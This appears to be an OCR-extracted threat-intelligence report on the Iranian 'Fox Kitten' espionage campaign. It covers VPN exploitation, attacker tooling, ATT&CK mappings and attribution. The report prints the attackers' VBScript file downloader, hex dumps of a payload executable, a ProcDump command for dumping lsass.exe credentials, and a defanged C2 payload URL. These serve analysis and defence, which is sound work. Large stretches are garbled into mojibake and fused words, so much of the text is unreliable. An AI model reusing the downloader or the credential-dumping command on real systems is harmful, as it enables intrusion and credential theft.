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1. Executiv€ummary

During the last quarter of 2019, ClearSky research team has uncovered a widespread Iranian offensive

«| x| E¢@ UAE«A 102 «| 00 z<Uy LE®dO®2@ ,| xax| E¢c@I O o
years against dozens of companies ardanizations in Israel and around the worlthough the

campaign, the attackers succeeded in gaining access and persistent foothold in the networks of
numerous companies and organizations from the Télecommunication Ol and Gas, Aviation,

Government, andsecuritysectors around the world.
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comprehensive campaigns revealed until newgide from malware, the campaign enfolis entire
infrastructurededicated to ensuringlong-lasting capability to control and fully access the targets

chosen by the Iranian¥he revealed campaign was used as reconnaissanfi@structure however,

it can also be used as a platform for spreading and activating destructive rea@ueh as ZeroCleare

and Dustman, tied to APT34.

During our analysis, we have found an overlap, with medligh probability, between this
«| x| E¢c OBé EQ%é| €0é0«006é2 | ® 9 AQiRg Addtignalligdep U | ¢
have identified, with medium probabilitg, connection between this campaign and the AREBR
and APT3%hafer groupslhe campaign was first revealed by Dragos, natRedsitel and attributed
to APT33; we call the comprehensive campaign revea@diic € é2 @Uéod Z<Uy LEdS2 DI

We assess with medium probability that the Iranian offensive groups (APT34 and APT33) have been
working together since 2017, though the infrastructure that we revigdl;vis a large number of
companies in Israel araroundthe world.

The campaign infrastructure was used to:

Develop and maintain accessutes to the targeted organizations
Steal valuablenformationfrom the targeted organizations
Maintain a longasting foothold at the targeted organizations
Breach additionacompanies through supplghain attacks

= =4 4 =

The campaign was conducted by using a variety of offensive tools, most of which open source code
based and someselfdeveloped.

The initial breaclof the targeted organizations waerformed in most cases, by exploitingday
vulnerabilities in different VPN services such as: Pulse Secure VPN, Fortinet VPN, and Global Protect by
Palo Alto Network$Jpon gaining foothold at the target, the attackéied tomaintain the acces®

the networksby opening a variety of communication tools, including opening RDP links over SSH
tunneling, in order to camouflage and encrypt the communication with the targetbe final stage,

after successfully infilaiting the organizationthe attackers have performed a routine process of
identification, examination, and filtering of sensitive, valuable information from every targeted
organization.The valuable information was sent back to the attackers for recoraraies espionage,

or further infection of connected networks.
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Our maininsights

1 The Iranian APT groups have succeeded to penetrate and steal information from dozens of
companies around the world in the past three years.

1 The most successful and significant attack vector used by the Ir@ddigroups in the last
three years has beaxploitation of known vulnerabilities in systems with unpatched VPN and
RDP services, in order to infiltrate and take control over critigabrate information storages.

9 This attack vector is not used exclusively by the IrarA groupsit became a main attack
vector for cybercrime groups, ransomwaatacks and other statesponsored offensive
groups.

1 We assess this attack vector to &ignificantalso in 2020 apparently by exploiting new
vulnerabilities in VPBI&nd other remotesystemgsuch as tk latest one existinigp Gtrix).

1 Iranian APTgroups have developed good techniaafensivecapabilities and are able to
exploit Xday vulneabilities in relatively short periods of tinstarting fom severahours toa
week or two.

f Since 2017yeidentify IranianlAPT;, ¢ U6 ®2é B %U« 6 é E@¢ U@ wieierangeU x | GE
of services to thousands of compani&eaching those IT companies is especially valuable,
because through them one can reach the networks of additional companies.

1 After breaching the organizatienthe attackers usually maintain foothold and operational
redundancy by installing and creating severabre access points to the core corporate
network.As a result, identifying and closing one access point does not necessarilthdeny
capability to carry on operations inside the network.

1 We assess with mediuhigh probability thatiranian APTgroups (APT34 and APT33) share
attack infrastructurs. Furthermorejt can beone group that was artificially marked in recent
years as two or three separag&®Tgroups.

1 The time needed to identify attacker on a compromiseetworkis long andsaries between
months to not at allThe existingnonitoring capability for organizations to identify and block
an attacker that entered through remote communication toaslifficult to impossible.
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Inthis report, we survey the attack stages and tools used in the campaign by matching it to the MITRE
ATT&CK moderlhe first part of the report contains a shmviewof the offensive tooldound in the
breached organizations or uploaded to public repos#e for analysisThroughout the attacks, no
coherent scenario was identifiedhe attackershanged their modus operandnd thus the tools are

not necessarily presented in their chronologiatihck vectorin the following chapters we expand on

the techniques and methods used in analyzing the tools. After that, an attribution to the diffd?@nt
groups is being made, and finally we presssmerecommendations and 1c€C

We would like to thanRBragosresearchersvhofound the first signs of theampaign (Called by them
| & 2 EPp é Ishared v@t®ussaluableinformation that helpedus reveal thewhole Fox-Kitten
campaignpresented in this report.

Also, we would like to thank the companibsit chose to sharavith usinformation. Withoutheir
sharingof malicious toolsthe scale and deptlinfrastructure would not have been revealed.

1 https://dragos.com/
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In thischapter, we will shortly survey the offensive tools used during the campaitye. first part we

review the main tools used during the campaignthe second part of the chapter we will match the

tools to the cyber event kill chain. At the end of thapter, we present a summary table with all the
EG®E«| dUéé #%éUx A2 z<Uy LE®S2 QI «| xe| E¢OF

3.1 TooldJsed in Fox Kitten Campaign

During the Fox Kitten campaign, the attackers have used many different offensive tools to maintain
foothold at the organizatiothey have infiltratedUpon initial compromise of the corporate network,

the attackers focusdon establishingstrong grip in the organizatidoy installinga set ofemote access

and communication tools

After finishing the breaching process, thttackers stablishd A2 Eé¢ 72 o éEal U@ d8A2 (
installing several backdoomt the systems they have compromisddhose backdoors allowed the

attackers to connect to the netwoslecretly and steadilyn many cases, the attackers have connected

to the organization through a regular encrypted RDP connection.

The attackers created for their sddveloped tools versions thamatch the operational systems at
target organization. Thus, in 2017 the tools were developed and fitted tbiB2ystems, while in 2019
the tools were developed for @4t systems.

The tools used by the Iranian attackers can be dividedsieweral groups

1. Selfdeveloped toolsWwtools developed by the attacker and fitted to the attackbkdthis
campaign we have identified a few sddfveloped tools.The most important tool is a
backdoor that opens a SSH tunnel between the attacker and the target, and allows the former
to connect to the latter through RDP.
Following is a list of selfeveloped tools used by the Iranians in this campaign:
1 STSRCheckSeltdevelopment databases and open pon&pping tool.
1 POWSSHNETBeltDeveloped Backdoor malwaRDP oveBSHTunneling.
1 VBScriptvdownload TXT files frothe commandand-control (Cr C&§ serveand
unify these fileso a portable executablfile.
1 Socketbased backdoor over cs.exi An exe file used to opea socketbased
connection to a hardcoded IP address.
1 Portexe®d UUO 60U é«| @ ®=é2®2 %UEP2® xUédeée | @ E_Beé
2. Opensourcebasedtoolsd | 02 @ %é Ux o0A2 E@d2 é @205 dit@y| ®Noéd
making changes to the tool or by using it as it is.
Following is a list of opesource tools used by tHeanians in this campaign:
1 Invoke the Hashw_ Ui 2 é c A2 OO0 «Uxx| g®é E@ Ué®2é dU
methods.
1 JuicyPotatowLocal Privilege Escalation tool.
3. Seemingly legitimate toolssed by the Iranians for their neeé®llowing are two examples
for this kind of tools:
1 Ngrok, FRP, Servebree Command and Control Protocol
1 Putty and PlinkvRemote services
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3.2huude
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1. Exploitation techniqueaf _ R 8 UUOé B
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organizations.
2. Tools designed for privilege escalation, foothold ensuringyl creating agap for RDP
connection and information theft.

3. Post?2 y ®OUES8| 8EUQ 8UUOE
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campaign has ensured its foothold on the target

©02
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The table presentanoverlap between techniques and tools identifihating the Fox Kitten campaign,

| 2®

8AUez2

U

dARéz22

Eé¢| OE| @ U%%2 @eEu:?2
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39, a suklgroup of APT3t which we have found matchings in several characteristics of the Fox Kitten
campaigrt. Malicious offensive tools are highlighted in red.

Kill Chain| Techniques, | Title MITRE ATT&CK | Knownlranian
Phase Tools and gr?up or tool (if
Procedures exise)
Exploit Technique CVE201911510 External Remote APT34
CVE201813379 Services T1133
CVE20181579
Execute Technique HEX in TXT files Data StagedvT1074 | -
Tool Putty and Plink Remote Services Legitimate tools,
T1021 used by APT33,
Remote File Copy APT34
T1105
Procedures Stealing credentials | Credential Dumpingv | APT33, APT34,
via Procdump to T1003 APT39
Isass.exe and Mimikatz#S0002
Mimikatz
Tools STSRCheckSelf Network Service APT34, APT39
development ScanninghT1046
databases and open
ports mapping tool

2 attack.mitre.org/groups/G0064/
attack.mitre.org/groups/G0049/
attack.mitre.org/groups/G0087/

U602 ¢| OEOEdRtagetedd o Az
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T1090

Kill Chain| Techniques, | Title MITRE ATT&CK | Knownlranian
Phase Tools and grc.Jup or tool (if
Procedures exiss)
Tools + Invoke the Hash PowerShellvT1086 Open Source tool.
Techniques Pass the HasWT1075 Techniques used
by:
APT33, APT34
Procedures Local Admin / User | Create Accouniv -
T1136
Techniques Accessibility tool CommandLine APT34
(Sticky Keys) abuse | InterfacewT1059
Accessibility Features
WT1015
Tools JuicyPotatowLocal Exploitation for Open Source Tool,
Privilege Escalation | Privilege Escalatiov | also used by:
tool T1068 APT33
Procedures Scheduled Task Scheduled Task Common
mechanism, also
utilized by:
APT33, APT34,
APT39
Techniques RDP connection (overn Custom Command APT34, APT39
SSH) and Control Protocolv
T1094
Remote Desktop
ProtocolWwT1076
Tools Port.exe Netwo_rk SAerV'CG
Scanning¥r1046)
Tools Ngrok Connection Proxy | Free tool
T1090
Tools FRP Connection Proxy | OpenSource Tool
T1090
Tools Serveo Connection Proxy | Free tool
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ZIP)

T1002

Kill Chain| Techniques, | Title MITRE ATT&CK | Knownlranian
Phase Tools and grc.Jup or tool (if
Procedures exiss)
C&C Tools POWSSHNESelf Credentials in File& | APT34, APT39
Developed Backdogr | T1081
RDP oyer SSH Remote Service®
Tunneling T1021
Remote Desktop
Protocol- T1076
Tools VBScriptv Scripting- T1064 APT34
downloading files
from C2
Tools Socketbased Uncommonly Used APT33
backdoonics.exe Port- T1065
Techniques External Webshell Web ShelWwT1100 APT33, APT34
over theinternet Remote Serviced
T1021
Techniques Local WebshelLocal | Web ShelwT1100 APT34
s
Techniques Local Webshell Web ShelWwT1100 APT34
Virtual Directory Connection Proxy
T1090
Techniques Communication with | Web Servic&yT1102 APT33, APT34,
C2 APT39
Procedures Archives (WinRAR ar | Data Compressed APT39
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4. Techniqgues and Methods
This chapter presents a review of techniques employed in the Fox Kitten campaign. Thguiesxh
can be divided into foumain categories:
1. «AE2 UE@¢ | ««2éé& dU 06| é¢20 @2duUé0 dARAeUB A G«
2. Achieving persistent foothold on targ@d2 8 1 Ué O 06e6E@¢, &EéEUWEOD2 ;2 2¢
credentials

3. Moving along the network by lateral movement
4. Differenttechniques forelevantzE 02 é B 2 y #EOdé| dEUD ©| « O 88U Eé|

During researcbn the campaignseveral techniques, aimed to maintain persistent footholdanget

networkand exploiting completely legitimate togleave been identifie@ne of those isxploitngthe

Microsoft accessibility toslthe Iranians appear to exploit different accessibility tools built for the
Wndows OSj AEO2 8 A2 xUéed 6é62® x23AU® Eé 2y a=0REJOED:
accessibility tools, originally designed toeate an accessible environment for people with certain

physical limitations, are used for privilege escalation on the targeted s¥stem

4.1wPre-access and Access Tools

4.1.MMain Attack VectawExploiting Vulnerabilities in VPN Systems

MITRE ATT&CK Tactic: Initial Access (TA0001)
MITRE ATT&CK Technique: External Remote Services (T1133)

CLEAR St( Y
Cyber Security

Internal Network

Core Applications and Databas®

® 6
@ Internet

I
|
|
|
|
|
I 3
Front !
Mail and Other B FW and : User permissions, network core<'> Backdoor VPN &
DMZ RDP Systems
Cloud Apps defense | management systems
™ - systems |
|
' Ey
1 User 2
1 User 1 BYOD
1 J:
1 R A

Corporate network blueprinithe infiltration zone is marked with red

In most cases, theorporate networksvere compromised by exploitingiscovered and published
vulnerabilitiesin VPN systenia order to access the target netwoilhe main VPN systems exploited
by the attackers are Pulse Secure Connect, Global Protect (by Palo Alto Networks), and Fortinet

3 attack.mitre.org/techniques/T1015/
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FortiOSWe assess with high probability that vulnerabilities in Citrix will be used by the attackers as
well.

Exploiting VPN d¢eway vulnerabilities on the targets, the group successfully acquires access to the
8] é¢208eB «Uéz2 dfferend files, &id cobtinie@vith lat@&& movement and foothold
ensuring. The main system exploited is Pulse Secure Connect, throughC¥ig01911510
vulnerability.

Followingarethe vulnerabilities in different access systems used by the attackers:

CVE201911510 Pulse Secure

In Pulse Secur&Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before
9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary
file reading vulnerability.

CVE201813379 Fortinet FortiOS

An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in FortiG F
6.0.0t0 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows an unauthenticated attacker to download
system files via special crafted HTTP resource requests.

CVE20191579 Palo Alto Networks VPN

This vulnerability in Palo Alto Networks VPN appliances affectfOBAN1.18 and earlier, PAS
8.0.11h1 and earlier, and PADIS 8.1.2 and earlier with GlobalProtect Port@lobalProtect Gateway
Interface enabled. An attacker who successfully exgbis vulnerability by sending a specially crafted
packet can execute arbitrary code on the device. The vulnerability allows an attacker to modify the
device and access sensitive information.

Those vulnerabilities are still relevant and were recently irseddestructive malware attack on the
national oil company of Bahrdin

4.1.2 Re-accesgool for unifying file chunklkexencoded in TXiiles into one executable

MITRE ATT&CK Tactic: Execution (TA0002)

MITRE ATT&CK Technique: Scripting (T1064)

Upon gaining an initial access to the organization, some different files are downloaded to the

compromised computer, in order to run additional tools. First, a few VBScript files will be downloaded

from the C2 servers, designed to download additional file® different servers. The VBS files are

generically name®#OE 02 DbDRUUGB Ué ®E%¥2 é2 @36 Wandthetdlds ar®2 § 62 é ¢

not unique for this particular attack and can be found on the intéfhet* | €2 ® U@ &idn2 dUUODT

©p 8A2 eUbé«2 «U®2Bé | 060AUes o0A2 «U®2 Eé ®28éE¢ @2
z

é«é22@geAUs U¥% U@B2 U% oAz %uEO2ées «| 002® /| Uu@r s

4 zdnet.com/article/newiranian-data-wiper-malwarehits-bapcebahrainsnationatoil-company/
5 blog.netnerds.net/2007/01/vbscriptiownloadand-savea-binaryfile/
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function download(sFileURL, sLocation)
Set ob]XMLHTTP = CreateCbject("MszxmlZ.Se
objXMILHttp.setProxy 2, "10.50.254.204:80
ob]¥XMLHTTP.open "GET", sFileURL, false
ob]JXMLHTTP.send ()

do until objXMLHTTP.Status = 200 : wscript.sleep({1000) : loop
If ocbJXMLHTTE.Status = 200 Then

Set objADOStream = CreateObject ("ZDODE.Stream™)
objADOStream. Open

objADOStream. Type = 1

objADOStream.Write ocbJXMLHTTPE.ResponseBody
objADOStream.Position = 0

Set ob]FS50 = Createcbject("Scripting.FileSystemObject™)

If ocbjFS0O.Fileexists(sLocation) Then ob]FS0.DeleteFile sLocation
Set ob]FS0 = Nothing

objADOStream.SaveToFile sLocation

objaD0OStream.Close

Set ob]ADOStream = Nothing

End if

Set objXMLHTTP = Nothing

End function

download Wscript.Zrguments (0), Wscript.Arguments (1)

verXMLHTTE")

T
amn mmn
ou

Running different VBS scripts, one can download an array of files on the infected computer, and those

will be used by the attacker to establish foothold and move laterally. As it can be seen in the code, the

7/ Uu@glu| ®f %0 P« EU@ UWUEOO a2 é3%Ué x | =3h €2e02 68
MSXML2.ServerXMLHTTP in order to download a file. At thd #msl grocess, throughout which

several VBScript scripts will be run, several txt files will be created on the computer.

Every such txt file contains a string of numbers and letter which are an encoded piece of code, in
hexadecimal. Following is a screosof one of these files, followed by the hex decoded:

File Edit Format View Help

4D5A908688308000004000680FFFFEBEREEEEE08060800R0R48868080000068
B80800000000860800080000068080800000000068008808E0000E8880BB5088
BECBRE1FEAREEBBABOCD21EB31ACCD21546869732878726F67726160286361
6EGEBFTA2062652872756E20696E28444F53206D6F64652EBDBDBAZ4BBB0BE
geeaeeees5e4508084C010300255698500000000860060800800E00002016888188
8808060200008 5000000000000AEF50200002006000880000000006840880028
88000002000084080000000006000400000000000080004003000682880080
B80600036004683568061600001686068608000010000610880000000086818888888
B88000000000880858F50200530808000000030688086808000082880888088
gg0BgeeEenREEEEE00082003008CBERBRADAF4ABZ2E01CEBEEREREEEE0BBB0EE
B8000000000066080000000006600800000000060EB0BE0REREREEEEBBRLA
B806PERR20060660506000000EEE80E00P0RERREE208000180000868060888088
Be00eeee2E7465787408000064050200002000068006820000020880888088
B80800000000000800200000682E727372630006000880600000086883888086
Be0eReDEe200060800000000000208000000400000482E72656C6F63BBBBAC
B80600RR200360600802000000DEE2680000000PEEAEEEE0E0000EEE408B8842
g888eeRReRREEEEE00080000868888888
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0x0D0
0x0EO
0x100
0x110
0x120
0x130
0x140
0x150

0040
oooo
cooo
SBFS
cooo
oozo
oooo
oooo
cooo

0300
1000
0000
0200
0000
0300
0000
o000
0000

oooz2
0010
1000
3300
oooo
ocoo
0ooo
oooo
oooo

o000
o000
o000
oooo
o000
oooo
o000
o000
o000

oooo
oooo
oooo
oooo
oooo
D4F4
oooo
oooo
oozo

o000
1000
oooo
0300
oooo
0200
o000
o000
o000

0300
0oc10
oooo
oooe
oooo
1coo
ocoo
oooo
ogoo

4085
o000
oooo
oooo
oooo
oooo
o000
o000
o000

Oxle0
0x170
0x180
0x150
Ox1n0
0x1BO
0x1cCO
0x1D0
0x1E0

oooo
cooo
B4D5
gooo
2ETZ2
o006
cooo
ocoo
gooo

0000
o000
0200
o000
7372
o000
0000
0000
o000

oooo
oooo
o020
oooo
6300
ooDa
4000
oozo
oooo

o000
oooo
0000
oooo
o000
0200
0040
0300
oooo

0g20
2ZET4
0oDe
oooo
oooe
oooo
2ET2
oooz
oooo

oooo
6578
0200
oooo
o000
o000
656C
oooo
oooo

4800
7400
oooz
2000
ocoo
oooo
cFe3
0CDE
4000

oooo
oooo
o000
0060
0300
o000
o000
o200
0042

0x1F0

Looo

oooo

pooo

oooo

pooo

ouou

Lvooo

ouou

Several such files

are downloaded to the computer, each one comprises a different piece of a

©| «O®UUEé Beé

by antivirus programs installed on the attacked computer. In addition, a batch file, named

«U®2 ¥F

7«Ux©OE@2 TO| 61 &
executable. Following is a screenshot of the entire EEXEepitesented in hex editor:

Eé

h Az

20 6 2Ueé 2

U

5AEE®

®UuEOU| ®2® 8U 8A-2

PEédrr «d3EUD

«Ux 2002 é

| DG
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B sshnet.exe

COffset (h) 00 01 02 03 04 05 06 07 03 02 0OA OB OC 0D OE OF Decoded text

gooooooo 4D 5L 90 00 03 00 00 00 04 00 0o 00 FF OFF OO oo %Z .......... '
goooooolo EBS 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ... ... B,
aoooo0z0 oo oo 0o o0 00 00 00 00 00 00 00 00 00 00 00 00 s e e e ennnnnnss
Q00000030 0o oo 0o o0 00 00 00 00 00 00 00 00 80 00 00 00 s e e e ennas ...
00000040 O0E 1F BA OE 00 B4 09 CD 21 B2 01 4C CD 21 54 68 ..°.. .I!',.LI!'Th

goooooso e2 73 20 70 T2 6F 67 V2 61 6D Z0 63 61 6E BE &F 13 program canno
goooooen 74 20 62 65 20 Ve 75 6E 20 69 6E Z0 44 4F 53 20 £ he run in DOS

oooooo70 gD 6F 64 65 ZE OD OD OA 24 00 00 OO0 OO0 0O OO0 OO0 wode. ... .5..0.0.0...
aooooooso 50 45 00 00 4C 01 03 00 8B AE 94 5D 00 OO 0o 00 PE..L...<«@7]....
oooooo0s0 00 00 00 00 EO OO0 02 01 OB 01 08 00 00 D6 02 00 ouuefteensnnns d. .
00ooo0oAD 0o 03 00 00 00 00 00 00 AE F5 02 00 00 20 00 00 ... @3, .. .

Oo00oo0ED oo oo 0o o0 00 00 40 00 00 20 00 00 00 02 0O oo .. ... Boo v
aoooooco 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 s s e e e eannnnnss
0ooooopo 00 40 03 00 00 02 00 00 00 00 00 00 03 00 40 85 B e esnsans ..

O00000ED 0o oo 10 00 00 10 00 00 00 00 10 00 00 10 00 00 s s s e e e nnnnnnss
aoooooFo oo oo 0o 00 10 00 00 00 00 00 00 00 00 00 00 00 s s s e e ennnnnnss
ooooo1o0  5C F5 02 00 4F OO0 00 00 00 00 03 00 00 06 00 00 %8, 0. 0w enenns
00000110 0o oo 0o o0 00 00 00 00 00 00 00 00 00 00 00 00 s s s e e eannnnnss
ooooo1lz20 oo 20 03 00 02 00 00 00 D8 F4 02 00 1C 00 00 00 . ... ol S
00000130 0o oo 0o o0 00 00 00 00 00 00 00 00 00 00 00 00 s e e e ennnnnnss
oooo0140 0o oo 0o 00 00 00 00 00 00 00 00 00 00 00 00 00 s s e e e ennnnnnss

([ o N i Vo T [ T I T T B Y I N | M [ =M T M |« W u T

00000160 §goo oo 0o o0 00 00 00 00 08 Z0 00 00 48 00 00 00 ... LHLL
Qooooo1vyo §goo oo oo oo o0 00 oo oo Z2E Y4 65 Y3 Yd 00 00 00 ... text...

00000150 §B4 DS 02 OO0 00 20 00 00 00 DE 02 00 00 0z oo oo “d... ...0......
Qooooo120 goo oo g o0 00 00 00 00 00 00 00 00 20 00 00 60 e eeweanas e
O00001A0 B2E 72 73 72 63 00 00 00 00 06 00 OO0 00 OO O3 00 . r3FrC..eeassssss

O00001ED goo o6 00 00 00 DE 02 00 00 00 00 00 00 OO oo oo ..., L
ooooo1co §oo oo 00 00 40 00 00 40 2E 72 g5 6C 6F 63 00 00 . ...@..0.reloc..
ooooo1p0o goc 00 00 00 00 20 03 00 00 02 00 00 00 DE 02 00 . es wewenans E..
O00001ED goo 0o 0o o0 00 00 00 00 00 00 00 00 40 00 00 42 o e e e e nas B..Bl

Following is a summary of processes happening on the attacked computer:

Request to the serve Downloading a batch

and downloading of file named

text files containing combine.bat which

hexencoded pieces combines the text
of code files into an EXE file

Downloading and

running of VBS files

4.2Local Privilege Escalation Tools

After the vulnerabilities in the VPN systems have been used for initial access, the attackers perform
several actinsto ascertain their foothold in the netwodnd maintain high privileges therBuring

dA2 | 88| «0& A6 U2 Alu2z Uoceéz2é02®3 2 @®E®@PBI E®:?
Therefore, the tools reviewed in this chapter do not necessarily comprise a continuous, chronological
order.In this chapter, we will preserité different tools and techniques based on the MITRE ATT&CK
model, divided into the following techniques:

Execution PersistencePrivilege EscalatigrCredential Access
Discovery, Lateral Movement.
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0F0oFTO 7KOE«pPp _Ud| dUI
MITRE ATT&CK TacBdvilege Escalation (TA0004)

MITRE ATT&CK Technique: Exploitation for Privilege Escalation (T1068)

Juicy Potato is an opesource tool found on GitHGland based on RottenPotatoNG. It can perform

local privilege escalation from NT AUTHORIDZAL SERVIGENT AUTHORNSYSTEM using the
Z*Ehc c2éU0E«2[ | @® 2, TQ é2¢é02¢éél xéU«2&é2eF hAz
in the credentials manager in order to give a local user higher access.

In order for this tool to run properly ongltomputer, the attacker has to have one of the following two
permissions:

1 Selmpersonatsvto create a process with a certain token
1 Se AssignPrimaryTokevio create a process as a certain user

Following is an example of the tool being used, whereas tli2 Wiktlow is activated under the Local
c2éuUE«2 ®2éxEééEUges | @® 0AéUb A | «Uxx| o® dA| o
now with System permissiohs

About Windows

BE Windows10

Microsoft Windons

Version 1709 (05 Buid 16299,309)

© 2017 Mirosoft Corporation. Al rights reserved

The Windons 10 Enterprise operating system and its user iterface are

P " pendng or
fights in the Uited States and other countries/regions,

This product s licensed under the [4rasot Software License
Terms to:

Windows User

Inc
Change the ti

52D-8DA7-OABFDB7AEEFA}

The tool is downloadettom the commandand-control server used by the attackers in @asnpaign
W95.211.215[.]255. This file isb@dsystem compatible, and this in contrast with the one used in 2017

and fittedto320E8 épéodz2xéF hAz %EOG2 Eé ®UugOU| ®2® dU dA:
| & 8A2 | 0 &2 é ardéunda Befollwjin@addreds: ol FI5. 2 21.215[.]225/upd/j.exe.
hAEé kbO | ®@®é2éé 02| ®e 88U ®UUOOU| ®E@; MWbhothEO2 @] >
are versions of this tool.

6 github.com/ohpel/juicypotato
" hunter2.gitbook.io/darthsidious/privileg@scalation/juicypotato
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1 0 (D) 10 engines detected this file (& i"

0f56c70329b7¢ 27bac05a5c6d9530: 13b88e5d4f4b5724232036 339.5KB 2019-02-20 20:30:14 UTC
JuicyPotato.exe Size 8 months ago

64bils  assembly  peexe

DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY o

[ 2018-02-20T20:30:14

AhnlLab-V3 (1) HackTool'Win32.Agent.C2717966 Antiy-AVL () HackTool/Win64.JPotato

Avira (no cloud) @ TR/JuicyPotato.pgzhbl CrowdStrike Falcon @ Win/malicious_confidence_70% (D)
Cylance (D) Unsafe ESET-NOD32 (D) AVariant Of Win64/HackTool JuicyPotato.B
F-Secure (1) Trojan. TRAJuicyPotato pgzbl Kaspersky (D) HEUR:HackTool Win64.JPotato gen
Webroot (1) W32 Hacktool Gen ZoneAlarm by Check Point (1) HEUR:HackTool Win64.JPotato gen

In several versions of this file there iarbedded evasion technique through which the tool identifies
UEéso| O x| «AE@2ée | o® ®U2e@Bd | «8Eu| d82F hAz2 7z, KkE
perform an antVM trick, appears in the file downloaded to the computer:

4.227Procdunpl and ZMimikat4

MITRE ATT&CK Tactic: Credential Access (TA0006)
MITRE ATT&CK Technique: Credential Dumping (T1003)
MITRE ATT&CK Tool: Mimikatz (S0002)

| 66 E@;, OAEEé ®éU«2é&és 062¢66B «¢é2@®2QP0E| Oe | é2 eéesU
Mimikaz. In order to perform this process, the attacker needs to have admin permissions on the target
computer.

In this attack scenario, after gaining initial access to the computer, ProcDump, a legitimate Microsoft
tool that dumps the Lsass.exe process, is finis tool is not identified by antirus solutions, unlike
Mimikatz.

Following is an example of using this command as a local user (also executable remotely):
C\procdump.exeaccepteulama Isass.exe Isass.dmp

At this point, a dump file dfsass.exe which contains the relevant credentials, is produced. The file is
passed to Mimikatz for further extractiéan action which requires local admin privileges.
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